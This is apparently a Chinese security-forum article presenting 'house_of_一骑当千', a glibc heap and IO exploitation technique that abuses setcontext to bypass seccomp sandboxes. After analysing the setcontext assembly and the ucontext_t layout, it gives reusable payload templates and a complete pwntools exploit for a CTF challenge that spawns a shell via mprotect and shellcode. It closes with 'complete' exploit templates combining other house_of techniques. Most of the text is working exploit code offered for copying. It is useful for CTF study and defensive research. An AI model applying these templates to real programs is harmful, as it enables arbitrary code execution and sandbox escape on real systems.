-
-
[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千
-
2023-2-10 12:09 21047
-
感谢团队师傅的分享,本来这一篇我是不想公开的。
沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶
都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶
只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千
是一种只用setcontext
就定能绕过沙盒攻击手法。
一、setcontext+53
之殇
setcontext+53
是打pwn
中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61
,主要控制的寄存器也从rdi
变成了rdx
。setcontext+53
是执行orw
的重要攻击手段,由于属于常见方式就不再赘述。
setcontext+53
作为常用的攻击手段,在版本迭代中主要参数已经从rdi
修复成rdx
,rdx
是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx
不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat
等中rdx
都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI
出现很大一部分是解决了rdx
的问题。house_of_emma
也必须借助 house_of_KIWI
才能绕过seccomp
。
以2.37以后还能使用的house_of_cat
为例,对比源码和汇编可以发现,rdx
之所以可控是因为,编译器在处理比较时使用了rdx
。
1 2 3 4 5 6 7 8 9 | int _IO_switch_to_wget_mode ( FILE * fp) { / / 编译器在处理这一段时使用 rdx if (fp - >_wide_data - >_IO_write_ptr > fp - >_wide_data - >_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) = = WEOF) return EOF; ...... } |
1 2 3 4 5 6 7 8 9 10 11 | ► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode + 4 > mov rax, qword ptr [rdi + 0xa0 ] 0x7f4cae745d3b <_IO_switch_to_wget_mode + 11 > push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode + 12 > mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode + 15 > mov rdx, qword ptr [rax + 0x20 ] 0x7f4cae745d43 <_IO_switch_to_wget_mode + 19 > cmp rdx, qword ptr [rax + 0x18 ] 0x7f4cae745d47 <_IO_switch_to_wget_mode + 23 > jbe _IO_switch_to_wget_mode + 56 <_IO_switch_to_wget_mode + 56 > 0x7f4cae745d49 <_IO_switch_to_wget_mode + 25 > mov rax, qword ptr [rax + 0xe0 ] 0x7f4cae745d50 <_IO_switch_to_wget_mode + 32 > mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode + 37 > call qword ptr [rax + 0x18 ] |
当然,还可以使用mov rdx,[rdi+8];mov [rsp],rax;call [rdx+x]
这种 magic_gadget 来绕过沙盒,因为每个版本的gadget并不完全相同,所以这也不是长久之计。
因为setcontext
是汇编所写(下面会详写),显然rdi
修复成rdx
也是GNU
有意而为,今后也可能被修改成rcx
甚至r15
,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?
二、ucontext
函数族分析
1.函数族
研究setcontext
之前,我们要知道一个函数族,就是ucontext
函数族,它包括以下函数。
1 2 3 4 | int getcontext(ucontext_t * ucp); int setcontext(const ucontext_t * ucp) void makecontext(ucontext_t * ucp, void ( * func)(), int argc, ...); int swapcontext(ucontext_t * restrict oucp,const ucontext_t * restrict ucp); |
getcontext
用来获取用户上下文,setcontext
用来设置用户上下文makecontext
操作用户上下文,可以设置执行函数,本质调用`setcontext``swapcontext
进行两个上下文的交换
显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。
2.setcontext
以我们关注的setcontext
为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S
中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask
)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 | ENTRY(__setcontext) / * Save argument since syscall will destroy it. * / pushq % rdi cfi_adjust_cfa_offset( 8 ) / * Set the signal mask with rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG / 8 ). * / leaq oSIGMASK( % rdi), % rsi xorl % edx, % edx movl $SIG_SETMASK, % edi movl $_NSIG8, % r10d movl $__NR_rt_sigprocmask, % eax syscall / * Pop the pointer into RDX. The choice is arbitrary, but leaving RDI and RSI available for use later can avoid shuffling values. * / popq % rdx # 这是就是 rdi 向 rdx转换的关键。 cfi_adjust_cfa_offset( - 8 ) cmpq $ - 4095 , % rax / * Check % rax for error. * / jae SYSCALL_ERROR_LABEL / * Jump to error handler if error. * / / * Restore the floating - point context. Not the registers, only the rest. * / movq oFPREGS( % rdx), % rcx fldenv ( % rcx) ldmxcsr oMXCSR( % rdx) / * Load the new stack pointer, the preserved registers and registers used for passing args. * / cfi_def_cfa( % rdx, 0 ) cfi_offset( % rbx,oRBX) cfi_offset( % rbp,oRBP) cfi_offset( % r12,oR12) cfi_offset( % r13,oR13) cfi_offset( % r14,oR14) cfi_offset( % r15,oR15) cfi_offset( % rsp,oRSP) cfi_offset( % rip,oRIP) / * 这里往下就是 setcontext + 61 的地方 * / movq oRSP( % rdx), % rsp movq oRBX( % rdx), % rbx movq oRBP( % rdx), % rbp movq oR12( % rdx), % r12 movq oR13( % rdx), % r13 movq oR14( % rdx), % r14 movq oR15( % rdx), % r15 #if SHSTK_ENABLED / * Check if shadow stack is enabled. * / testl $X86_FEATURE_1_SHSTK, % fs:FEATURE_1_OFFSET jz L(no_shstk) / * If the base of the target shadow stack is the same as the base of the current shadow stack, we unwind the shadow stack. Otherwise it is a stack switch and we look for a restore token. * / movq oSSP( % rdx), % rsi movq % rsi, % rdi / * Get the base of the target shadow stack. * / movq (oSSP + 8 )( % rdx), % rcx cmpq % fs:SSP_BASE_OFFSET, % rcx je L(unwind_shadow_stack) L(find_restore_token_loop): / * Look for a restore token. * / movq - 8 ( % rsi), % rax andq $ - 8 , % rax cmpq % rsi, % rax je L(restore_shadow_stack) / * Try the next slot. * / subq $ 8 , % rsi jmp L(find_restore_token_loop) L(restore_shadow_stack): / * Pop return address from the shadow stack since setcontext will not return . * / movq $ 1 , % rax incsspq % rax / * Use the restore stoken to restore the target shadow stack. * / rstorssp - 8 ( % rsi) / * Save the restore token on the old shadow stack. NB: This restore token may be checked by setcontext or swapcontext later. * / saveprevssp / * Record the new shadow stack base that was switched to. * / movq (oSSP + 8 )( % rdx), % rax movq % rax, % fs:SSP_BASE_OFFSET L(unwind_shadow_stack): rdsspq % rcx subq % rdi, % rcx je L(skip_unwind_shadow_stack) negq % rcx shrq $ 3 , % rcx movl $ 255 , % esi L(loop): cmpq % rsi, % rcx cmovb % rcx, % rsi incsspq % rsi subq % rsi, % rcx ja L(loop) L(skip_unwind_shadow_stack): movq oRSI( % rdx), % rsi movq oRDI( % rdx), % rdi movq oRCX( % rdx), % rcx movq oR8( % rdx), % r8 movq oR9( % rdx), % r9 / * Get the return address set with getcontext. * / movq oRIP( % rdx), % r10 / * Setup finally % rdx. * / movq oRDX( % rdx), % rdx / * Check if return address is valid for the case when setcontext is invoked from __start_context with linked context. * / rdsspq % rax cmpq ( % rax), % r10 / * Clear RAX to indicate success. NB: Don't use xorl to keep EFLAGS for jne. * / movl $ 0 , % eax jne L(jmp) / * Return to the new context if return address valid. * / pushq % r10 ret L(jmp): / * Jump to the new context directly. * / jmp * % r10 L(no_shstk): #endif / * The following ret should return to the address set with getcontext. Therefore push the address on the stack. * / movq oRIP( % rdx), % rcx pushq % rcx movq oRSI( % rdx), % rsi movq oRDI( % rdx), % rdi movq oRCX( % rdx), % rcx movq oR8( % rdx), % r8 movq oR9( % rdx), % r9 / * Setup finally % rdx. * / movq oRDX( % rdx), % rdx / * End FDE here, we fall into another context. * / cfi_endproc cfi_startproc / * Clear rax to indicate success. * / xorl % eax, % eax ret PSEUDO_END(__setcontext) weak_alias (__setcontext, setcontext) |
三、ucontext
结构体
从ucontext
函数族中可以看到存在ucontext
类型的结构体,也就是传入setcontext
的rdi
。这个结构体如下。
1 2 3 4 5 6 7 8 9 10 | typedef struct ucontext_t { unsigned long int __ctx(uc_flags); / / 1 个字长 struct ucontext_t * uc_link; / / 1 个字长 stack_t uc_stack; / / 3 个字长 mcontext_t uc_mcontext; / / 操作部分 1 sigset_t uc_sigmask; / / 操作部分 2 struct _libc_fpstate __fpregs_mem; / / 操作部分 3 __extension__ unsigned long long int __ssp[ 4 ]; / / 操作部分 4 } ucontext_t; |
在setcontext
函数中,除了对mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem __ssp
这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。
1.uc_sigmask
这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。
2.uc_mcontext
这个就是存储寄存器的结构体,也是我们平时setcontext+53
所使用的地方。结构体如下。
1 2 3 4 5 6 7 | typedef struct { gregset_t __ctx(gregs); / * Note that fpregs is a pointer. * / fpregset_t __ctx(fpregs); __extension__ unsigned long long __reserved1 [ 8 ]; } mcontext_t; |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | typedef greg_t gregset_t[__NGREG]; #ifdef __USE_GNU / * Number of each register in the `gregset_t' array. * / enum { REG_R8 = 0 , # define REG_R8 REG_R8 REG_R9, # define REG_R9 REG_R9 REG_R10, # define REG_R10 REG_R10 REG_R11, # define REG_R11 REG_R11 REG_R12, # define REG_R12 REG_R12 REG_R13, # define REG_R13 REG_R13 REG_R14, # define REG_R14 REG_R14 REG_R15, # define REG_R15 REG_R15 REG_RDI, # define REG_RDI REG_RDI REG_RSI, # define REG_RSI REG_RSI REG_RBP, # define REG_RBP REG_RBP REG_RBX, # define REG_RBX REG_RBX REG_RDX, # define REG_RDX REG_RDX REG_RAX, # define REG_RAX REG_RAX REG_RCX, # define REG_RCX REG_RCX REG_RSP, # define REG_RSP REG_RSP REG_RIP, # define REG_RIP REG_RIP REG_EFL, # define REG_EFL REG_EFL REG_CSGSFS, / * Actually short cs, gs, fs, __pad0. * / # define REG_CSGSFS REG_CSGSFS REG_ERR, # define REG_ERR REG_ERR REG_TRAPNO, # define REG_TRAPNO REG_TRAPNO REG_OLDMASK, # define REG_OLDMASK REG_OLDMASK REG_CR2 # define REG_CR2 REG_CR2 }; #endif |
有关数据设置和传统利用setcontext+53
时一样即可。
3.__fpregs_mem
这个所对应的步骤为setcontext
中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0
。
1 2 3 4 | / * Restore the floating - point context. Not the registers, only the rest. * / movq oFPREGS( % rdx), % rcx fldenv ( % rcx) |
4.__ssp
这个所对应的步骤为setcontext
中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0
1 | ldmxcsr oMXCSR( % rdx) |
四、一骑当千
喜闻乐见的抄板子时间又到了。根据上面setcontext
分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53
一样的攻击效果。假设,没有禁用mprotect
,只有一次的largebin_attack
的情况来攻击IO,模板如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | ucontext = b'' ucontext + = p64( 0 ) * 5 mprotect_len = 0x20000 __rdi = heap_addr # heap_addr binsh_addr __rsi = mprotect_len __rbp = heap_addr + mprotect_len __rbx = 0 __rdx = 7 __rcx = 0 __rax = 0 # 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址 padding = fake_io_file payload_start_addr = fake_io_addr # 0x2e8 下面的 print("IO_FILE len is",hex(len(payload))) # largbin_attak 时需要 + 0x10 __rsp = payload_start_addr + 0x2e8 + 0x10 __rip = mprotect_addr ucontext + = p64( 0 ) * 8 ucontext + = p64(__rdi) ucontext + = p64(__rsi) ucontext + = p64(__rbp) ucontext + = p64(__rbx) ucontext + = p64(__rdx) ucontext + = p64(__rcx) ucontext + = p64(__rax) ucontext + = p64(__rsp) ucontext + = p64(__rip) ucontext = ucontext.ljust( 0xe0 ,b '\x00' ) ucontext + = p64(heap_addr + 0x6000 ) # fldenv [rcx] 加载浮点环境,需要可写 print ( "ucontext len is:" , hex ( len (ucontext))) # 0xe8 ''' ucontext = ucontext.ljust(0x128,b'\x00') # 加载信号量 ,好像全是0也行 ,0x10个字长 ucontext += p64(0)*0x10 # ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0) ucontext =ucontext.ljust(0x1c0,b'\x00') # ucontext += p64(0x1f80) # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行 ''' # payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始 payload = padding + ucontext # 0x2e8 与 __rsp相呼应 print ( "IO_FILE len is" , hex ( len (payload))) # 自己写 shellcode shellcode = """ """ # largbin_attak 时需要 + 0x10 payload + = p64(fake_io_addr + len (payload) + 0x8 + 0x10 ) payload + = bytes(asm(shellcode)) |
五、举个栗子
我们以2022强网拟态决赛_vpn
为例(题目内部附件叫:pminote_mc
)。题目虽然使用了llvm
进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。
1 2 3 4 5 6 7 | struct heap_manager{ void * do_func; heap_content * content; } struct heap_content{ char content[size]; } |
题目存在UAF,并且只能malloc
5次。题目的唯一难度是是在显示程序上,他使用如下操作
1 | print_note(heap_manager * heap_manager_1); |
也就是说即使能够简单执行system(heap)
,由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")
。
那么此时我们的攻击思路是
- 调用
gets(heap)
,在heap处写入ucontext
,同时在heap开头的函数处写入setcontext
函数地址。 - 调用
setcontext(heap)
就可以直接执行想执行的内容。
需要说明的是由于题目没有seccomp
,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) menu_last_str = 'Your choice :' add_heap_str = '1' delete_heap_str = '2' show_heap_str = '3' def add_heap(size,content): ru(menu_last_str) sl(add_heap_str) ru( 'Note size :' ) s( str (size)) ru( 'Content :' ) s(content) def show_heap(index): ru(menu_last_str) sl(show_heap_str) ru( 'Index :' ) sl( str (index)) def delete_heap(index): ru(menu_last_str) sl(delete_heap_str) ru( 'Index :' ) sl( str (index)) def exit_pro(): ru(menu_last_str) sl( '5' ) if __name__ = = '__main__' : pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './pmlnote_mc' ip_port = '111.200.241.244:61080' __ip = ip_port.split( ":" )[ 0 ] __port = ip_port.split( ":" )[ 1 ] io = process(pwnfile) # io = remote(__ip, __port) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile libcfile = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libcfile) ''' struct heap_manager{ void * do_func; heap_content * content; } struct heap_content{ char content[size]; } ''' system_addr = 0x4006D0 print_note_content = 0x400870 print_note = 0x407700 puts_addr = 0x4006C0 heap_list = 0x6116c0 system_got = 0x611030 stdout = 0x611680 printf_sym = elf.sym[ "printf" ] init = 0x409AC0 add_heap( 0x500 ,b "a" * 0x10 + b "/bin/sh\x00" ) add_heap( 0x500 , "b" * 0x10 ) delete_heap( 0 ) delete_heap( 1 ) add_heap( 0x10 ,p64(print_note_content) + p64(stdout)) show_heap( 0 ) stdout_addr = u64(ru( "\n" ).ljust( 8 ,b "\x00" )) libc_base_addr = stdout_addr - 0x21a780 print ( "libc_base_addr is :" , hex (libc_base_addr)) setcontext_addr = libc_base_addr + libc.sym[ "setcontext" ] environ_addr = libc_base_addr + libc.sym[ "environ" ] gets_addr = libc_base_addr + libc.sym[ "gets" ] free_hook_addr = libc_base_addr + libc.sym[ "__free_hook" ] unsortbin_addr = libc_base_addr + 0x219ce0 mprotect_addr = libc_base_addr + libc.sym[ "mprotect" ] delete_heap( 2 ) add_heap( 0x10 ,p64(print_note_content) + p64(heap_list)) show_heap( 0 ) heap_addr = u64(ru( "\n" ).ljust( 8 ,b "\x00" )) - 0x2a0 print ( "heap_addr is :" , hex (heap_addr)) delete_heap( 3 ) add_heap( 0x10 ,p64(gets_addr) + p64(heap_addr - 0x200 )) show_heap( 0 ) ucontext = b'' ucontext + = p64(setcontext_addr) + p64( 0 ) * 4 mprotect_len = 0x20000 __rdi = heap_addr # heap_addr binsh_addr __rsi = mprotect_len __rbp = heap_addr + mprotect_len __rbx = 0 __rdx = 7 __rcx = 0 __rax = 0 fake_io_addr = heap_addr + 0x2a0 # 0x2e8 下面的 print("IO_FILE len is",hex(len(payload))) # largbin_attak 时需要 + 0x10 __rsp = fake_io_addr + 0xe8 __rip = mprotect_addr ucontext + = p64( 0 ) * 8 ucontext + = p64(__rdi) ucontext + = p64(__rsi) ucontext + = p64(__rbp) ucontext + = p64(__rbx) ucontext + = p64(__rdx) ucontext + = p64(__rcx) ucontext + = p64(__rax) ucontext + = p64(__rsp) ucontext + = p64(__rip) ucontext = ucontext.ljust( 0xe0 ,b '\x00' ) ucontext + = p64(heap_addr + 0x6000 ) # fldenv [rcx] 加载浮点环境,需要可写 print ( "ucontext len is:" , hex ( len (ucontext))) # 0xe8 payload = ucontext print ( "IO_FILE len is" , hex ( len (payload))) # 0x2e8 与 __rsp相呼应 shellcode = asm(shellcraft.sh()) payload + = p64(fake_io_addr + len (payload) + 0x8 ) # largbin_attak 时需要 + 0x10 payload + = bytes(shellcode) pause() sl(payload) show_heap( 0 ) itr() |
六、连环战船
这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext
的通用解决方案,结合EOP使用。
七、攻击方法完全体
就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶
是很难有绕过沙盒的方法,但如果和house_of_一骑当千
结合使用,沙盒绕过将是易如反掌。
1.houseof琴瑟琵琶 完全体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | fake_io_addr = heap_addr + 0x1390 obstack_ptr = fake_io_addr + 0x30 fake_io_file = b'' fake_io_file = fake_io_file.ljust( 0x58 ,b '\x00' ) fake_io_file + = p64(setcontext_addr) # 需要执行的函数 fake_io_file + = p64( 0 ) fake_io_file + = p64(fake_io_addr + 0xe8 ) # 执行函数的 rdi fake_io_file + = p64( 1 ) # obstack->use_extra_arg=1 fake_io_file + = p64(heap_addr + 0x2000 ) # _IO_lock_t *_lock; fake_io_file = fake_io_file.ljust( 0xc8 ,b '\x00' ) fake_io_file + = p64(IO_obstack_jumps_addr + 0x20 ) # 触发 _IO_obstack_xsputn; fake_io_file + = p64(obstack_ptr) # struct obstack *obstack print ( hex ( len (fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10 # pause() # 执行函数的 rdi 的地址所存储的内容 ucontext = b'' ucontext + = p64( 0 ) * 13 mprotect_len = 0x20000 tcache_thead_size = 0x290 __rdi = heap_addr # heap_addr binsh_addr __rsi = mprotect_len __rbp = heap_addr + mprotect_len __rbx = 0 __rdx = 7 __rcx = 0 __rax = 0 # heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长 # 0x1c8 对应第256行的 print("payload len is",hex(len(payload))) # largbin_attak 时需要 + 0x10 __rsp = fake_io_addr + 0x1c0 + 0x10 __rip = mprotect_addr #execve_addr #mprotect_addr ucontext + = p64(__rdi) ucontext + = p64(__rsi) ucontext + = p64(__rbp) ucontext + = p64(__rbx) ucontext + = p64(__rdx) ucontext + = p64(__rcx) ucontext + = p64(__rax) ucontext + = p64(__rsp) ucontext + = p64(__rip) ucontext = ucontext.ljust( 0xe0 ,b '\x00' ) ucontext + = p64(heap_addr + 0x6000 ) # fldenv [rcx] 加载浮点环境,需要可写 payload = fake_io_file + ucontext print ( "payload len is" , hex ( len (payload))) # 0x1c0 与__rsp相呼应 # pause() shellcode = asm(shellcraft.sh()) payload + = p64(fake_io_addr + len (payload) + 0x8 + 0x10 ) # largbin_attak 时需要 +0x10 payload = payload + bytes(shellcode) |
2.houseof魑魅魍魉 完全体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | # largebin_attack 攻击 house_魑魅魍魉 # 模拟只有一次写入,payload 必须在前面写入 # 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式 fake_io_addr = heap_addr + 0x1390 put_stream_offset = 0x30 # put_stream 距离 fake_io 的偏移 put_stream_addr = fake_io_addr + put_stream_offset write_target_addr = memcpy_addr target_value_offset = 0x200 # 需要执行的函数存储的地址距离 fake_io 的偏移 target_value_addr = fake_io_addr + target_value_offset IO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符 # 再一次执行到 memcpy时rdi的地址 rdi_offset = 0xf # 因为 _IO_write_ptr 会加1,此处确保内存对齐 rdi_ucontext_addr = target_value_addr + rdi_offset # more_len > count_len > 0x20 可以再次执行 memcpy more_len = 0x80 * 8 # 为什么 IO_help_jump_0_ 里面还要在右边移位2位?? count_len = 0x28 # 要大于0x20 _flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr; fake_io_file = b"" fake_io_file = fake_io_file.ljust( 0x20 ,b '\x00' ) fake_io_file + = p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr; fake_io_file + = p64(rdi_ucontext_addr) fake_io_file + = p64( 0 ) * 2 fake_io_file + = p64(write_target_addr - 0x20 ) fake_io_file + = p64(write_target_addr) fake_io_file + = p64(write_target_addr + count_len) fake_io_file + = p64( 0 ) # 用于绕过 if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行malloc fake_io_file + = p64(( 1 << 64 ) - 1 ) fake_io_file + = p64( 0 ) * 2 fake_io_file + = p64(heap_addr + 0x2000 ) #可写 fake_io_file + = p64( 0 ) * 2 fake_io_file + = p64(IO_wide_data_addr) fake_io_file = fake_io_file.ljust( 0xc8 ,b '\x00' ) fake_io_file + = p64(IO_help_jump_0_addr) fake_io_file + = p64( 0 ) fake_io_file + = p64(heap_addr + 0x2000 ) #可写 fake_io_file + = p64( 0 ) fake_io_file + = p64(target_value_addr) fake_io_file + = p64(target_value_addr + more_len) fake_io_file + = p64(IO_str_jumps_addr) fake_io_file = fake_io_file.ljust( 0x1b8 ,b '\x00' ) fake_io_file + = p64(put_stream_addr) fake_io_file = fake_io_file.ljust(target_value_offset - 0x10 ,b "\x00" ) # largbin_attak 时需要 - 0x10 # 需要执行的函数是 setcontext,距离 fake_io 的偏移为 target_value_offset fake_io_file + = p64(setcontext_addr) + p64( 0 ) # 此段长度为 0x10 与 rdi_offset 对应 ucontext = b"" ucontext + = p64( 0 ) * 13 mprotect_len = 0x20000 tcache_thead_size = 0x290 __rdi = heap_addr # heap_addr binsh_addr __rsi = mprotect_len __rbp = heap_addr + mprotect_len __rbx = 0 __rdx = 7 __rcx = 0 __rax = 0 # heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长 # 0x2e8 下面的 print("payload len is",hex(len(payload))) # largbin_attak 时需要 + 0x10 __rsp = fake_io_addr + 0x2e8 + 0x10 __rip = mprotect_addr #execve_addr #mprotect_addr ucontext + = p64(__rdi) ucontext + = p64(__rsi) ucontext + = p64(__rbp) ucontext + = p64(__rbx) ucontext + = p64(__rdx) ucontext + = p64(__rcx) ucontext + = p64(__rax) ucontext + = p64(__rsp) ucontext + = p64(__rip) ucontext = ucontext.ljust( 0xe0 ,b '\x00' ) ucontext + = p64(heap_addr + 0x6000 ) # fldenv [rcx] 加载浮点环境,需要可写 payload = fake_io_file + ucontext print ( "payload len is" , hex ( len (payload))) # 0x2e8 与__rsp相呼应 shellcode = asm(shellcraft.sh()) payload + = p64(fake_io_addr + len (payload) + 0x8 + 0x10 ) # largbin_attak 时需要 + 0x10 payload + = bytes(shellcode) |
3.其他
同理,其他IO板子绝大部分都能够与house_of_一骑当千
配合使用,一通百通,就不再赘述。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法